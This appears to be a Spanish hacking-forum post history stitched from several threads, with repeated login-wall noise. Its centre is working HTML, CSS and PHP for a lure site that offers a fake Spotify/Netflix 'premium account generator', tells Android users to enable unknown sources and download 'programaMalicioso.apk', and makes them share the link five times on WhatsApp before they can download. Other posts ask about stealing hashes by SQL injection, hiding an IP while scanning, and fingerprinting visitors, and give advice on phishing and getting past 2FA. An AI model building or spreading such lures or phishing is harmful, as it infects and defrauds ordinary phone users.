Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
<?php
phpinfo();
?>
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Muy buenas,
Los hashes se encuentran en la base de datos, el código lo que haría sería conectarse a la Base de Datos y pedir el hash de el usuario en concreto y si coinciden te dejaría entrar.
Saludos.
De acuerdo, gracias! Entonces la única manera de "interceptar" el hash sería a través de sqlinject cierto?
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Gracias por responder
Me refería a que si en este caso uso un scanner web saldria la solucitud desde el servidor web con mi ip o se usaria la ip propia de la pag web
(del server)
Lo pregunto pq no tengo claro si en este caso habría que usar proxies o tor para que no guarden la ip de los que usan los scans
No se si esta vez me he explicado bien
Gracias
body{
background-color: black;
}
h1{
color: white;
font-family: 'PT Sans';
}
h2{
color: red;
font-family: 'PT Sans';
}
h3{
color: white;
font-family: 'PT Sans';
}
p{
color: white;
font-family: 'PT Sans';
}
.boton_1{
text-decoration: none;
padding: 3px;
padding-left: 10px;
padding-right: 10px;
font-family: helvetica;
font-weight: 300;
font-size: 25px;
font-style: italic;
color: #006505;
background-color: #82b085;
border-radius: 15px;
border: 3px double #006505;
}
.boton_1:hover{
opacity: 0.6;
text-decoration: none;
}<html>
<head>
<title>Instalar Generador de cuentas Spotify/Netflix para Android</title>
<link REL="StyleSheet" href="estilo.css" type="text/css" MEDIA="screen">
</head>
<body>
<div align="center">
<h1>GUIA DE USO GENERADOR DE CUENTAS PREMIUM</h1>
<h2>Usar la aplicación generadora de cuentas Premium para Spotify y para Netflix es muy sencillo.</h2></br><p>
- PASO 1: Elegir en qué plataforma quiere crear la cuenta.</br></br>
- PASO 2: Añadir el usuario y contraseña que quiera usar.</br></br>
- PASO 3: Pulsar el botón dado para crear la cuenta.</br></br>
- PASO 4: Esperar varios minutos.</br></br>
- PASO 5: Entrar con dicho usuario y contraseña en la plataforma elegida.</br></br></p>
<img src="ImagenRegistro.png">
<h1>GUIA INSTALACION GENERADOR DE CUENTRAS PREMIUM</h1>
<h2>Para instalarlo deberás aceptar aplicaciones no provenientes de Google Play en tu móvil.</h2></br>
<p>
- PASO 1: Dirigete a la configuración de tu móvil.</br></br>
- PASO 2: Dirigete al submenú Seguridad / Aplicaciones.</br></br>
- PASO 3: Activa la opción "Fuentes desconocidas".</br></br>
<img src="http://img-17.ccm2.net/PoRKJZp-i7i9B_VAXJZ1C8gmofk=/2bd3dffc46954811a306b181e203cf9e/ccm-faq/itar-fuentes-desconocidas-android-s-.png"></br></br>
- PASO 4: Descarga la aplicación de este <a href="programaMalicioso.apk">link</a> y empieza a utilizarla.
</p>
</div>
</body>
</html>
<html>
<head>
<title>COMPARTA LA APLICACION</title>
<link REL="StyleSheet" href="estilo.css" type="text/css" MEDIA="screen">
<script>
<?php
include('Mobile-Detect/Mobile_Detect.php');
$detect = new Mobile_Detect();
if ( $detect->isAndroidtablet() ) {
$an = 1;
} elseif( $detect->isAndroid() ) {
$an = 1;
} else{
$an = 0;
}
echo '
var an = '.$an.';
'
?>
var compartido = 0;
function compartir(){
compartido++;
document.getElementById("comp").innerHTML = compartido;
window.open("https://api.whatsapp.com/send?text=Aplicacion%20generadora%20de%20cuentas%20Premium%20totalmente%20gratuita.%20Funcional%20en%20NETFLIX%20y%20Sporify.%20Descarga%20ahora%20en:%20192.168.1.37/index.php");
}
function descargar(){
if (compartido >= 5){
location.href = "instalacionAndroid.html";
}
else{
alert("No ha compartido la herramienta suficientes veces.");
}
}
</script>
<script>
function comprobar(){
if(an != 1){
document.getElementById("body").innerHTML = "";
alert("La aplicación es solo para Android");
}
}
</script>
</head>
<body onload="comprobar()" id="body">
<div align="center">
<h1>Para poder descargar la aplicación debe compartirla 5 veces por Whatsapp</h1>
<h2>Veces compartida</h2> <h2 id="comp">0</h2>
<button class="boton_1" onclick="compartir()">Compartir Por Whatsapp</button></br></br>
<button class="boton_1" onclick="descargar()">Descargar aplicación</button></br></br>
<img src="ImagenRegistro.png">
</div>
</body>
</html>
include('Mobile-Detect/Mobile_Detect.php');
$detect = new Mobile_Detect();
if ( $detect->isAndroidtablet() ) {
$an = 1;
} elseif( $detect->isAndroid() ) {
$an = 1;
} else{
$an = 0;
}
function comprobar(){
if(an != 1){
document.getElementById("body").innerHTML = "";
alert("La aplicación es solo para Android");
}
}
var compartido = 0;
function compartir(){
compartido++;
document.getElementById("comp").innerHTML = compartido;
window.open("https://api.whatsapp.com/send?text=Aplicacion%20generadora%20de%20cuentas%20Premium%20totalmente%20gratuita.%20Funcional%20en%20NETFLIX%20y%20Sporify.%20Descarga%20ahora%20en:%20192.168.1.37/index.php");
}
function descargar(){
if (compartido >= 5){
location.href = "instalacionAndroid.html";
}
else{
alert("No ha compartido la herramienta suficientes veces.");
}
}
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Eso mismo. ¿Alguien sabe qué tipo de hash es?Código: text 1f1767b5696e79116b11ecc7f28827
a6fa1f788eb5c21f03516ec162b022
1e3e7c05f0651868110e46ee623738
23e23065fd93fdb4d71efda8fb3210
No es "Juniper NetScreen/SSG (ScreenOS)"
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Hola, muy buena aportación.
Quería preguntarte si sería posible con ese mismo php hacer un fingerprinting al usuario.
Recopilar el Máximo de datos de configuración del navegador, sistema operativo, etc, para crear una huella digital del dispositivo.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Te aconsejo que el phishing lo hagas a mano, prueba con este tutorial de aqui: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
El 2FA siempre te va a saltar por mucho proxy o vpn que uses, para ello prueba con esto: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Además tengo entendido que el de gmail se puede saltar con imap.
Saludos.
Hola rolth!
Gracias por responder con tanta precisión! Vaya maravilla de foro.
Enseguida me pondré con la tarea de "hacerlo a mano" con el post que me has facilitado. Según lo que he podido ver a simple vista es con una de las maneras que utilizan los modificadores de html. Buscando palabras clave en texto html, pero lo que me pregunto es si siempre es el mismo proceso de buscar una palabra(form) y adjuntar un .php .
Nuevamente te doy las gracias por tu ayuda.
Un saludo!
